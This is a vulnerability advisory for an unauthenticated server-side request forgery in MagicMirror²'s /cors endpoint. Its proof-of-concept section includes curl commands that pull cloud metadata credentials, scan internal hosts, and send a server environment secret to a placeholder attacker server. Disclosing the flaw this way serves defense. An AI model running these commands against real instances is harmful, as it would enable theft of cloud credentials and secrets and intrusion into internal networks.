CVE-2026-42281: MagicMirror²: Unauthenticated SSRF via /cors endpoint

Summary

An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VARNAME), enabling exfiltration of server-side secrets.

Details

The /cors endpoint in js/serverfunctions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.

Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any VARIABLENAME pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).

Vulnerable code path:

GET /cors?url=<attacker-controlled-url> → replaceSecretPlaceholder(url) // expands ENVVAR → process.env.ENVVAR → fetch(url) // no validation, no blocklist → response returned to attacker // full body, status, headers

Key issues: - No authentication required - No URL validation or blocklist for private/reserved IP ranges - No restriction on URL scheme or destination - Environment variable expansion in URL before fetch

PoC

Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).

1. Basic SSRF — access cloud metadata (AWS IMDSv1):

curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"

If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.

2. Internal network scanning:

curl "http://<target>:8080/cors?url=http://192.168.1.1/" curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"

The attacker can probe internal services by observing response status codes and timing.

3. Environment variable exfiltration:

curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=SECRETAPIKEY"

The server expands SECRETAPIKEY to the value of process.env.SECRETAPIKEY before making the request, sending the secret to the attacker-controlled server as a query parameter.

Impact

- Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account - Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker - Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable - Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The /cors endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability